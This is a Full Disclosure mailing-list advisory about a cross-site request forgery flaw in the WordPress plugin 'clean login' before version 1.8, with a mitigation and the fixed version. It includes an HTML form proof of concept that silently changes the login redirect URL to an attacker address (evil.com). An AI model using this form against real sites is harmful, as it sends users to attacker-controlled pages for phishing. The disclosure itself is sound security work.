[FD] CSRF in wordpress plugin clean login allows remote attacker change wordpress login redirect url or logout redirect url to evil address

[Zeng Wester <evilzyzeng@xxxxxxxxxxx>]

===============

Software Description

===============

Software:clean login

version:<1.8

description:Responsive Frontend Login and Registration plugin.


========

Details

========

CSRF in wordpress plugin clean login allows remote attacker change wordpress 
login redirect url or logout redirect url to evil address.


========

POC:

========

<form method="POST" 
action="http://127.0.0.1/wordpress/wp-admin/admin.php?page=wpcsw_settings";>

  <input type="text" name= "adminbar" value=“on">

 <input type="text" name="emailnotificationcontent" value="">
 <input type="text" name="termsconditionsMSG" value="">
 <input type="text" name="termsconditionsURL" value="">
 <input type="text" name="urlredirect" value=“http://127.0.0.1/wordpress”;>
 <input type=“text” name="loginredirect” value=“on”>
 <input type=“text” name="loginredirect_url” value="http://evil.com”;>
 <input type=“text” name="logoutredirect_url” 
value="http://127.0.0.1/wordpress”;>
 <input type=“text” name="cl_hidden_field” 
value="hidden_field_to_update_others”>
 <input type=“text” name="Submit” value="Save Changes”>
   <input type="submit”>

</form>


=========

Mitigations

================

Disable the plugin until a new version is released that fixes this bug.


=========

Fixed

=========

https://wordpress.org/plugins/clean-login/#developers(1.8 version update)



_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/